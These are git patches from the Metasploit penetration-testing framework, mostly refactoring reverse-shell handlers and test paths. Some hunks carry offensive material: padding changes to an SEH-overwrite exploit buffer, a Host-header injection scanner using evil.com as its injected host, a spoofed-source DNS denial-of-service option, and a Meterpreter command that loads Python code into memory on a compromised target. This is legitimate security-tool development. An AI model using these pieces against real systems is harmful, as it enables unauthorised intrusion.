(87%) diff --git a/lib/msf/core/handler/reverse_tcp_comm.rb b/lib/msf/core/handler/reverse/comm.rb similarity index 87% rename from lib/msf/core/handler/reverse_tcp_comm.rb rename to lib/msf/core/handler/reverse/comm.rb index 6fe3ce58d2..79f0d2047a 100644 --- a/lib/msf/core/handler/reverse_tcp_comm.rb +++ b/lib/msf/core/handler/reverse/comm.rb @@ -3,13 +3,14 @@ require 'rex/socket' module Msf module Handler +module Reverse ### # -# This module implements the reverse Rex::Socket::Comm handlng. +# Implements the reverse Rex::Socket::Comm handlng. # ### -module ReverseTcpComm +module Comm def initialize(info = {}) super @@ -17,7 +18,7 @@ module ReverseTcpComm register_advanced_options( [ OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), - ], Msf::Handler::ReverseTcpComm) + ], Msf::Handler::Reverse::Comm) end def select_comm @@ -41,3 +42,4 @@ end end end +end diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index 0c2ec9013c..57c8b827da 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -20,7 +20,7 @@ module Handler module ReverseTcp include Msf::Handler - include Msf::Handler::ReverseTcpComm + include Msf::Handler::Reverse::Comm # # Returns the string representation of the handler type, in this case @@ -76,10 +76,7 @@ module ReverseTcp ex = false - # Identify the comm to use from - # Msf::Handler::ReverseTcpComm.select_comm comm = select_comm - local_port = bind_port addrs = bind_address diff --git a/lib/msf/core/handler/reverse_tcp_double.rb b/lib/msf/core/handler/reverse_tcp_double.rb index af0730f3c5..731f83884b 100644 --- a/lib/msf/core/handler/reverse_tcp_double.rb +++ b/lib/msf/core/handler/reverse_tcp_double.rb @@ -15,6 +15,7 @@ module Handler module ReverseTcpDouble include Msf::Handler + include Msf::Handler::Reverse::Comm # # Returns the string representation of the handler type, in this case @@ -65,7 +66,7 @@ module ReverseTcpDouble self.listener_sock = Rex::Socket::TcpServer.create( # 'LocalHost' => datastore['LHOST'], 'LocalPort' => datastore['LPORT'].to_i, - 'Comm' => comm, + 'Comm' => select_comm, 'Context' => { 'Msf' => framework, diff --git a/lib/msf/core/handler/reverse_tcp_double_ssl.rb b/lib/msf/core/handler/reverse_tcp_double_ssl.rb index ebb4120275..04fd47aa25 100644 --- a/lib/msf/core/handler/reverse_tcp_double_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_double_ssl.rb @@ -15,6 +15,7 @@ module Handler module ReverseTcpDoubleSSL include Msf::Handler + include Msf::Handler::Reverse::Comm # # Returns the string representation of the handler type, in this case @@ -68,8 +69,6 @@ module ReverseTcpDoubleSSL ex = false - # Identify the comm to use from - # Msf::Handler::ReverseTcpComm.select_comm comm = select_comm local_port = bind_port addrs = bind_address diff --git a/lib/msf/core/handler/reverse_tcp_ssl.rb b/lib/msf/core/handler/reverse_tcp_ssl.rb index 6b90476515..8659f350c3 100644 --- a/lib/msf/core/handler/reverse_tcp_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_ssl.rb @@ -61,10 +61,7 @@ module ReverseTcpSsl ex = false - # Identify the comm to use from - # Msf::Handler::ReverseTcpComm.select_comm comm = select_comm - local_port = bind_port addrs = bind_address From f57f0991ab00cf3402e6aeaab921e0948637e6aa Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 6 Oct 2015 15:42:31 -0500 Subject: [PATCH 0846/2172] Update rspec --- spec/tools/cpassword_decrypt_spec.rb | 2 +- spec/tools/egghunter_spec.rb | 2 +- spec/tools/java_deserializer_spec.rb | 2 +- spec/tools/jsobfu_spec.rb | 2 +- spec/tools/md5_lookup_spec.rb | 2 +- spec/tools/msu_finder_spec.rb | 2 +- spec/tools/virustotal_spec.rb | 2 +- 7 files changed, 7 insertions(+), 7 deletions(-) diff --git a/spec/tools/cpassword_decrypt_spec.rb b/spec/tools/cpassword_decrypt_spec.rb index c7fbe94cbf..8a1e3aa878 100644 --- a/spec/tools/cpassword_decrypt_spec.rb +++ b/spec/tools/cpassword_decrypt_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -load Metasploit::Framework.root.join('tools/pentest/password/cpassword_decrypt.rb').to_path +load Metasploit::Framework.root.join('tools/password/cpassword_decrypt.rb').to_path require 'msfenv' require 'msf/base' diff --git a/spec/tools/egghunter_spec.rb b/spec/tools/egghunter_spec.rb index aa47d7a759..c969da7cce 100644 --- a/spec/tools/egghunter_spec.rb +++ b/spec/tools/egghunter_spec.rb @@ -1,4 +1,4 @@ -load Metasploit::Framework.root.join('tools/exploit_dev/egghunter.rb').to_path +load Metasploit::Framework.root.join('tools/exploit/egghunter.rb').to_path require 'stringio' diff --git a/spec/tools/java_deserializer_spec.rb b/spec/tools/java_deserializer_spec.rb index 17d146070d..24815f945f 100644 --- a/spec/tools/java_deserializer_spec.rb +++ b/spec/tools/java_deserializer_spec.rb @@ -1,7 +1,7 @@ require 'rex/java' require 'stringio' -load Metasploit::Framework.root.join('tools/exploit_dev/java_deserializer.rb').to_path +load Metasploit::Framework.root.join('tools/exploit/java_deserializer.rb').to_path describe JavaDeserializer do diff --git a/spec/tools/jsobfu_spec.rb b/spec/tools/jsobfu_spec.rb index be9bc4867a..63af210d15 100644 --- a/spec/tools/jsobfu_spec.rb +++ b/spec/tools/jsobfu_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -load Metasploit::Framework.root.join('tools/pentest/file/jsobfu.rb').to_path +load Metasploit::Framework.root.join('tools/exploit/jsobfu.rb').to_path require 'stringio' diff --git a/spec/tools/md5_lookup_spec.rb b/spec/tools/md5_lookup_spec.rb index 940cba6f58..50a043db16 100644 --- a/spec/tools/md5_lookup_spec.rb +++ b/spec/tools/md5_lookup_spec.rb @@ -1,4 +1,4 @@ -load Metasploit::Framework.root.join('tools/pentest/password/md5_lookup.rb').to_path +load Metasploit::Framework.root.join('tools/password/md5_lookup.rb').to_path require 'rex/proto/http/response' require 'stringio' diff --git a/spec/tools/msu_finder_spec.rb b/spec/tools/msu_finder_spec.rb index 28240c834c..c14a54483d 100644 --- a/spec/tools/msu_finder_spec.rb +++ b/spec/tools/msu_finder_spec.rb @@ -1,4 +1,4 @@ -load Metasploit::Framework.root.join('tools/exploit_dev/msu_finder.rb').to_path +load Metasploit::Framework.root.join('tools/exploit/msu_finder.rb').to_path require 'nokogiri' require 'uri' diff --git a/spec/tools/virustotal_spec.rb b/spec/tools/virustotal_spec.rb index 6b056a76cf..60bf2b0190 100644 --- a/spec/tools/virustotal_spec.rb +++ b/spec/tools/virustotal_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -load Metasploit::Framework.root.join('tools/pentest/file/virustotal.rb').to_path +load Metasploit::Framework.root.join('tools/exploit/virustotal.rb').to_path require 'msfenv' require 'msf/base' From 10dc637658eb034ec663825fc56b26affb1d29dd Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 6 Oct 2015 16:16:58 -0500 Subject: [PATCH 0847/2172] Fix typo --- tools/exploit/java_deserializer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/exploit/java_deserializer.rb b/tools/exploit/java_deserializer.rb index 9ba9f2e351..5cdc07be82 100755 --- a/tools/exploit/java_deserializer.rb +++ b/tools/exploit/java_deserializer.rb @@ -10,7 +10,7 @@ while File.symlink?(msf_base) msf_base = File.expand_path(File.readlink(msf_base), File.dirname(msf_base)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msf_base), '..', '..', 'lib'))) require 'rex/java/serialization' require 'pp' require 'optparse' From c5237617f249c3633ed635898fea68d9745fc5d8 Mon Sep 17 00:00:00 2001 From: jakxx Date: Tue, 6 Oct 2015 18:12:40 -0400 Subject: [PATCH 0848/2172] Update buffer size for reliability --- modules/exploits/windows/fileformat/watermark_master.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/watermark_master.rb b/modules/exploits/windows/fileformat/watermark_master.rb index 1fbabf6716..af6a94c36b 100644 --- a/modules/exploits/windows/fileformat/watermark_master.rb +++ b/modules/exploits/windows/fileformat/watermark_master.rb @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote buffer = rand_text(target['Offset']) buffer << generate_seh_record(target.ret) buffer << payload.encoded - buffer << rand_text(9000) + buffer << rand_text(18000 - buffer.length) file = %Q| From a1e0e0cdd994c16f4bfed4433c235d546a51978d Mon Sep 17 00:00:00 2001 From: JT Date: Wed, 7 Oct 2015 11:19:00 +0800 Subject: [PATCH 0849/2172] Add HTTP Host-Header Injection Detection --- .../scanner/http/host_header_injection.rb | 72 +++++++++++++++++++ 1 file changed, 72 insertions(+) create mode 100644 modules/auxiliary/scanner/http/host_header_injection.rb diff --git a/modules/auxiliary/scanner/http/host_header_injection.rb b/modules/auxiliary/scanner/http/host_header_injection.rb new file mode 100644 index 0000000000..c6692f7352 --- /dev/null +++ b/modules/auxiliary/scanner/http/host_header_injection.rb @@ -0,0 +1,72 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + # Exploit mixins should be called first + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::WmapScanServer + # Scanner mixin should be near last + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'HTTP Host-Header Injection Detection', + 'Description' => 'Checks if the host is vulnerable to Host-Header Injection', + 'Author' => + [ + 'Jay Turla <@shipcod3>', + 'Medz Barao <@godflux>' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html'] + ] + )) + + register_options( + [ + OptString.new('TARGETHOST',[true, "The redirector target", "evil.com"]), + ],self.class) + end + + def run_host(target_host) + + begin + p = "#{datastore['TARGETHOST']}" + res = send_request_raw({ + 'uri' => '/', + 'method' => 'GET', + 'headers' => { + 'host' => p, + 'x-forwarded-host' => p, + } + }) + + unless res + vprint_error("#{rhost}:#{rport} did not reply to our request") + return + end + + if res.headers =~ /#{p}/ || res.body =~ /#{p}/ + print_good("#{rhost}:#{rport} is vulnerable to HTTP Host-Header Injection") + report_vuln( + :host => rhost, + :port => rport, + :proto => 'tcp', + :sname => (ssl ? 'https' : 'http'), + :info => "Vulnerable to HTTP Host-Header Injection", + ) + else + vprint_error("#{rhost}:#{rport} returned #{res.code} #{res.message}") + end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + rescue ::Timeout::Error, ::Errno::EPIPE + end + end +end From 6b3da7f7d8f73eef5ed99bd4bb65b92d4ee8e63d Mon Sep 17 00:00:00 2001 From: JT Date: Wed, 7 Oct 2015 13:01:49 +0800 Subject: [PATCH 0850/2172] Update host_header_injection.rb made some changes as suggested by @espreto --- .../scanner/http/host_header_injection.rb | 18 ++++++++---------- 1 file changed, 8 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/scanner/http/host_header_injection.rb b/modules/auxiliary/scanner/http/host_header_injection.rb index c6692f7352..6854717549 100644 --- a/modules/auxiliary/scanner/http/host_header_injection.rb +++ b/modules/auxiliary/scanner/http/host_header_injection.rb @@ -7,10 +7,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - # Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanServer - # Scanner mixin should be near last include Msf::Auxiliary::Scanner def initialize(info={}) @@ -49,21 +47,21 @@ class Metasploit3 < Msf::Auxiliary }) unless res - vprint_error("#{rhost}:#{rport} did not reply to our request") + vprint_error("#{peer} did not reply to our request") return end if res.headers =~ /#{p}/ || res.body =~ /#{p}/ - print_good("#{rhost}:#{rport} is vulnerable to HTTP Host-Header Injection") + print_good("#{peer} is vulnerable to HTTP Host-Header Injection") report_vuln( - :host => rhost, - :port => rport, - :proto => 'tcp', - :sname => (ssl ? 'https' : 'http'), - :info => "Vulnerable to HTTP Host-Header Injection", + :host: rhost, + :port: rport, + :proto: 'tcp', + :sname: (ssl ? 'https' : 'http'), + :info: "Vulnerable to HTTP Host-Header Injection", ) else - vprint_error("#{rhost}:#{rport} returned #{res.code} #{res.message}") + vprint_error("#{peer} returned #{res.code} #{res.message}") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE From 205b175a957c845239343535468281af866306de Mon Sep 17 00:00:00 2001 From: JT Date: Wed, 7 Oct 2015 13:20:06 +0800 Subject: [PATCH 0851/2172] Update host_header_injection.rb --- .../auxiliary/scanner/http/host_header_injection.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/host_header_injection.rb b/modules/auxiliary/scanner/http/host_header_injection.rb index 6854717549..04be9c539c 100644 --- a/modules/auxiliary/scanner/http/host_header_injection.rb +++ b/modules/auxiliary/scanner/http/host_header_injection.rb @@ -54,11 +54,11 @@ class Metasploit3 < Msf::Auxiliary if res.headers =~ /#{p}/ || res.body =~ /#{p}/ print_good("#{peer} is vulnerable to HTTP Host-Header Injection") report_vuln( - :host: rhost, - :port: rport, - :proto: 'tcp', - :sname: (ssl ? 'https' : 'http'), - :info: "Vulnerable to HTTP Host-Header Injection", + host: rhost, + port: rport, + proto: 'tcp', + sname: (ssl ? 'https' : 'http'), + info: "Vulnerable to HTTP Host-Header Injection", ) else vprint_error("#{peer} returned #{res.code} #{res.message}") From 0182f394b484477f67adb7df57254efa9b81e380 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 7 Oct 2015 01:10:33 -0500 Subject: [PATCH 0852/2172] Remove extraneous nil Didn't need it, forgot to remove it. --- modules/auxiliary/dos/dns/bind_tkey.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/dos/dns/bind_tkey.rb b/modules/auxiliary/dos/dns/bind_tkey.rb index 98bacb4f81..b34c4836c7 100644 --- a/modules/auxiliary/dos/dns/bind_tkey.rb +++ b/modules/auxiliary/dos/dns/bind_tkey.rb @@ -40,7 +40,7 @@ class Metasploit4 < Msf::Auxiliary register_options([ Opt::RPORT(53), - OptAddress.new('SRC_ADDR', [false, 'Source address to spoof', nil]) + OptAddress.new('SRC_ADDR', [false, 'Source address to spoof']) ]) deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT') From 77fae28cd44596dc60d6f32028be6afe38863032 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 7 Oct 2015 01:50:36 -0500 Subject: [PATCH 0853/2172] Add -q option to msfd to disable banner --- external/zsh/_msfconsole | 2 +- lib/metasploit/framework/parsed_options/console.rb | 2 +- msfd | 3 +++ plugins/msfd.rb | 3 ++- 4 files changed, 7 insertions(+), 3 deletions(-) diff --git a/external/zsh/_msfconsole b/external/zsh/_msfconsole index 060d943dc9..1a012fb62c 100644 --- a/external/zsh/_msfconsole +++ b/external/zsh/_msfconsole @@ -32,7 +32,7 @@ _arguments \ {-n,--no-database}"[Disable database support]" \ {-o,--output}"[Output to the specified file]:output file" \ {-p,--plugin}"[Load a plugin on startup]:plugin file:_files" \ - {-q,--quiet}"[Do not print the banner on start up]" \ + {-q,--quiet}"[Do not print the banner on startup]" \ {-r,--resource}"[Execute the specified resource file (- for stdin)]:resource file:_files" \ {-v,--version}"[Show version]" \ {-x,--execute-command}"[Execute the specified string as console commands]:commands" \ diff --git a/lib/metasploit/framework/parsed_options/console.rb b/lib/metasploit/framework/parsed_options/console.rb index 4bdf78b924..66052a00d6 100644 --- a/lib/metasploit/framework/parsed_options/console.rb +++ b/lib/metasploit/framework/parsed_options/console.rb @@ -56,7 +56,7 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par options.console.plugins << plugin end - option_parser.on('-q', '--quiet', 'Do not print the banner on start up') do + option_parser.on('-q', '--quiet', 'Do not print the banner on startup') do options.console.quiet = true end diff --git a/msfd b/msfd index 8afe16c852..ad79d59b01 100755 --- a/msfd +++ b/msfd @@ -34,6 +34,7 @@ arguments = Rex::Parser::Arguments.new( "-f" => [ false, "Run the daemon in the foreground" ], "-A" => [ true, "Specify list of hosts allowed to connect" ], "-D" => [ true, "Specify list of hosts not allowed to connect" ], + "-q" => [ false, "Do not print the banner on startup" ], "-h" => [ false, "Help banner" ]) opts = { 'RunInForeground' => true } @@ -68,6 +69,8 @@ arguments.parse(ARGV) { |opt, idx, val| $stderr.puts "Bad argument for -D: #{$!}" exit end + when "-q" + opts['DisableBanner'] = true when "-h" print( "\nUsage: #{File.basename(__FILE__)} \n" + diff --git a/plugins/msfd.rb b/plugins/msfd.rb index 3f7e27f4fd..7d964d10ff 100644 --- a/plugins/msfd.rb +++ b/plugins/msfd.rb @@ -127,7 +127,8 @@ class Plugin::Msfd < Msf::Plugin 'Framework' => framework, 'LocalInput' => Rex::Ui::Text::Input::Socket.new(cli), 'LocalOutput' => Rex::Ui::Text::Output::Socket.new(cli), - 'AllowCommandPassthru' => false).run + 'AllowCommandPassthru' => false, + 'DisableBanner' => opts['DisableBanner'] ? true : false).run rescue elog("Msfd: Client error: #{$!}\n\n#{$@.join("\n")}", 'core') ensure From 6849adad58690353e3e4f8a5a2d3e15496c3ac04 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 7 Oct 2015 23:36:24 +1000 Subject: [PATCH 0854/2172] Adjusted to include import --- .../meterpreter/extensions/python/python.rb | 42 ++++++++++++- .../post/meterpreter/extensions/python/tlv.rb | 9 ++- .../ui/console/command_dispatcher/python.rb | 60 ++++++++++++++++++- 3 files changed, 105 insertions(+), 6 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/python/python.rb b/lib/rex/post/meterpreter/extensions/python/python.rb index b2d3d980b0..ee079a95b0 100644 --- a/lib/rex/post/meterpreter/extensions/python/python.rb +++ b/lib/rex/post/meterpreter/extensions/python/python.rb @@ -17,6 +17,17 @@ module Python class Python < Extension + PY_CODE_TYPE_STRING = 0 + PY_CODE_TYPE_PY = 1 + PY_CODE_TYPE_PYC = 2 + + PY_CODE_FILE_TYPES = [ '.py', '.pyc' ] + + PY_CODE_FILE_TYPE_MAP = { + '.py' => PY_CODE_TYPE_PY, + '.pyc' => PY_CODE_TYPE_PYC + } + # # Typical extension initialization routine. # @@ -40,15 +51,44 @@ class Python < Extension return true end + def import(file, mod_name, result_var) + unless ::File.file?(file) + raise ArgumentError, "File not found: #{file}" + end + + ext = ::File.extname(file).downcase + unless PY_CODE_FILE_TYPES.include?(ext) + raise ArgumentError, "File not a valid type: #{file}" + end + + code = ::File.read(file) + + request = Packet.create_request('python_execute') + request.add_tlv(TLV_TYPE_PYTHON_CODE, code) + request.add_tlv(TLV_TYPE_PYTHON_CODE_LEN, code.length) + request.add_tlv(TLV_TYPE_PYTHON_CODE_TYPE, PY_CODE_FILE_TYPE_MAP[ext]) + request.add_tlv(TLV_TYPE_PYTHON_NAME, mod_name) if mod_name + request.add_tlv(TLV_TYPE_PYTHON_RESULT_VAR, result_var) if result_var + + run_exec_request(request) + end + # # Dump the LSA secrets from the target machine. # # @return [Hash] def execute_string(code, result_var) - request = Packet.create_request('python_execute_string') + request = Packet.create_request('python_execute') request.add_tlv(TLV_TYPE_PYTHON_CODE, code) + request.add_tlv(TLV_TYPE_PYTHON_CODE_TYPE, PY_CODE_TYPE_STRING) request.add_tlv(TLV_TYPE_PYTHON_RESULT_VAR, result_var) if result_var + run_exec_request(request) + end + +private + + def run_exec_request(request) response = client.send_request(request) result = { diff --git a/lib/rex/post/meterpreter/extensions/python/tlv.rb b/lib/rex/post/meterpreter/extensions/python/tlv.rb index 326d2a3b08..318593a6b8 100644 --- a/lib/rex/post/meterpreter/extensions/python/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/python/tlv.rb @@ -7,9 +7,12 @@ module Python TLV_TYPE_PYTHON_STDOUT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1) TLV_TYPE_PYTHON_STDERR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2) -TLV_TYPE_PYTHON_CODE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3) -TLV_TYPE_PYTHON_RESULT_VAR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4) -TLV_TYPE_PYTHON_RESULT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 5) +TLV_TYPE_PYTHON_CODE = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 3) +TLV_TYPE_PYTHON_CODE_LEN = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 4) +TLV_TYPE_PYTHON_CODE_TYPE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 5) +TLV_TYPE_PYTHON_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 6) +TLV_TYPE_PYTHON_RESULT_VAR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 7) +TLV_TYPE_PYTHON_RESULT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 8) end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb index ff3eb3674f..5ed0ea9baa 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb @@ -30,7 +30,8 @@ class Console::CommandDispatcher::Python def commands { 'python_reset' => 'Resets/restarts the Python interpreter', - 'python_execute' => 'Execute a python command string' + 'python_execute' => 'Execute a python command string', + 'python_import' => 'Import/run a python run' } end @@ -39,9 +40,57 @@ class Console::CommandDispatcher::Python print_good('Python interpreter successfully reset') end + @@python_import_opts = Rex::Parser::Arguments.new( + '-h' => [false, 'Help banner'], + '-f' => [true, 'Path to the file (.py, .pyc) to import'], + '-m' => [true, 'Name of the module (optional)'], + '-r' => [true, 'Name of the variable containing the result (optional)'] + ) + + def python_import_usage + print_line('Usage: python_imoprt <-f file path> [-m mod name] [-r result var name]') + print_line + print_line('Loads a python code file from disk into memory on the target.') + print_line(@@python_import_opts.usage) + end + + # + # Import/run a python file + # + def cmd_python_import(*args) + if args.length == 0 || args.include?('-h') + python_import_usage + return false + end + + result_var = nil + file = nil + mod_name = nil + + @@python_import_opts.parse(args) { |opt, idx, val| + case opt + when '-f' + file = val + when '-m' + mod_name = val + when '-r' + result_var = val + end + } + + unless file + print_error("File path must be specified") + return false + end + + result = client.python.import(file, mod_name, result_var) + + handle_exec_result(result, result_var) + end + @@python_execute_opts = Rex::Parser::Arguments.new( '-h' => [false, 'Help banner'], - '-r' => [true, 'Name of the variable containing the result'] + '-r' => [true, 'Name of the variable containing the result (optional)'] ) def python_execute_usage @@ -73,6 +122,13 @@ class Console::CommandDispatcher::Python } result = client.python.execute_string(code, result_var) + + handle_exec_result(result, result_var) + end + +private + + def handle_exec_result(result, result_var) if result[:result] print_good("#{result_var} = #{result[:result]}") elsif result[:stdout].length == 0 and result[:stderr].length == 0 From fdbbb5fbf467611adddd07013d88fa1136cab47d Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 7 Oct 2015 09:56:28 -0500 Subject: [PATCH 0855/2172] Whitespace --- lib/msf/core/handler/reverse_tcp_ssl.rb | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/handler/reverse_tcp_ssl.rb b/lib/msf/core/handler/reverse_tcp_ssl.rb index 8659f350c3..253e027aa8 100644 --- a/lib/msf/core/handler/reverse_tcp_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_ssl.rb @@ -69,16 +69,16 @@ module ReverseTcpSsl begin self.listener_sock = Rex::Socket::SslTcpServer.create( - 'LocalHost' => ip, - 'LocalPort' => local_port, - 'Comm' => comm, - 'SSLCert' => datastore['HandlerSSLCert'], - 'Context' => - { - 'Msf' => framework, - 'MsfPayload' => self, - 'MsfExploit' => assoc_exploit - }) + 'LocalHost' => ip, + 'LocalPort' => local_port, + 'Comm' => comm, + 'SSLCert' => datastore['HandlerSSLCert'], + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) ex = false From 946401ec99528d5aa0ea72795acc0d7e1e0194e3 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 7 Oct 2015 09:59:12 -0500 Subject: [PATCH 0856/2172] Move SSL options out to a mixin --- lib/msf/core/handler.rb | 1 + lib/msf/core/handler/reverse.rb | 8 ++++++++ lib/msf/core/handler/reverse/ssl.rb | 19 +++++++++++++++++++ lib/msf/core/handler/reverse_https.rb | 2 +- lib/msf/core/handler/reverse_tcp.rb | 2 -- .../core/handler/reverse_tcp_double_ssl.rb | 2 +- lib/msf/core/handler/reverse_tcp_ssl.rb | 17 ++--------------- 7 files changed, 32 insertions(+), 19 deletions(-) create mode 100644 lib/msf/core/handler/reverse.rb create mode 100644 lib/msf/core/handler/reverse/ssl.rb diff --git a/lib/msf/core/handler.rb b/lib/msf/core/handler.rb index 010fa580b7..e3b3de08ba 100644 --- a/lib/msf/core/handler.rb +++ b/lib/msf/core/handler.rb @@ -28,6 +28,7 @@ module Msf # ### module Handler + require 'msf/core/handler/reverse' ## # diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb new file mode 100644 index 0000000000..b01fbdc490 --- /dev/null +++ b/lib/msf/core/handler/reverse.rb @@ -0,0 +1,8 @@ +module Msf + module Handler + module Reverse + autoload :Comm, 'msf/core/handler/reverse/comm' + autoload :SSL, 'msf/core/handler/reverse/ssl' + end + end +end diff --git a/lib/msf/core/handler/reverse/ssl.rb b/lib/msf/core/handler/reverse/ssl.rb new file mode 100644 index 0000000000..69d3b3f6cc --- /dev/null +++ b/lib/msf/core/handler/reverse/ssl.rb @@ -0,0 +1,19 @@ +module Msf + module Handler + module Reverse + module SSL + # + # Adds the certificate option. + # + def initialize(info = {}) + super + register_advanced_options( + [ + OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]) + ], Msf::Handler::Reverse::SSL) + + end + end + end + end +end diff --git a/lib/msf/core/handler/reverse_https.rb b/lib/msf/core/handler/reverse_https.rb index 6d0c54b0fb..335df035b8 100644 --- a/lib/msf/core/handler/reverse_https.rb +++ b/lib/msf/core/handler/reverse_https.rb @@ -13,6 +13,7 @@ module Handler ### module ReverseHttps + include Msf::Handler::Reverse::SSL include Msf::Handler::ReverseHttp # @@ -43,7 +44,6 @@ module ReverseHttps register_advanced_options( [ - OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]), OptBool.new('StagerVerifySSLCert', [false, "Whether to verify the SSL certificate in Meterpreter"]) ], Msf::Handler::ReverseHttps) diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index 57c8b827da..85b0c0bc52 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -2,8 +2,6 @@ require 'rex/socket' require 'thread' -require 'msf/core/handler/reverse_tcp_comm' - module Msf module Handler diff --git a/lib/msf/core/handler/reverse_tcp_double_ssl.rb b/lib/msf/core/handler/reverse_tcp_double_ssl.rb index 04fd47aa25..75d8c3c8d7 100644 --- a/lib/msf/core/handler/reverse_tcp_double_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_double_ssl.rb @@ -16,6 +16,7 @@ module ReverseTcpDoubleSSL include Msf::Handler include Msf::Handler::Reverse::Comm + include Msf::Handler::Reverse::SSL # # Returns the string representation of the handler type, in this case @@ -51,7 +52,6 @@ module ReverseTcpDoubleSSL OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]), OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse TCP even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]), - OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]) ], Msf::Handler::ReverseTcpDoubleSSL) self.conn_threads = [] diff --git a/lib/msf/core/handler/reverse_tcp_ssl.rb b/lib/msf/core/handler/reverse_tcp_ssl.rb index 253e027aa8..d3b5f84352 100644 --- a/lib/msf/core/handler/reverse_tcp_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_ssl.rb @@ -2,8 +2,6 @@ require 'rex/socket' require 'thread' -require 'msf/core/handler/reverse_tcp' - module Msf module Handler @@ -20,6 +18,7 @@ module Handler module ReverseTcpSsl include Msf::Handler::ReverseTcp + include Msf::Handler::Reverse::SSL # # Returns the string representation of the handler type, in this case @@ -37,18 +36,6 @@ module ReverseTcpSsl "reverse" end - # - # Initializes the reverse TCP SSL handler and adds the certificate option. - # - def initialize(info = {}) - super - register_advanced_options( - [ - OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]) - ], Msf::Handler::ReverseTcpSsl) - - end - # # Starts the listener but does not actually attempt # to accept a connection. Throws socket exceptions @@ -56,7 +43,7 @@ module ReverseTcpSsl # def setup_handler if datastore['Proxies'] and not datastore['ReverseAllowProxy'] - raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true' + raise RuntimeError, "TCP connect-back payloads cannot be used with Proxies. Use 'set ReverseAllowProxy true' to override this behaviour." end ex = false From dddfaafac75bf333c2e8dbbe4d65cf1e1ad3ce40 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 7 Oct 2015 15:17:22 -0500 Subject: [PATCH 0857/2172] Update reference --- 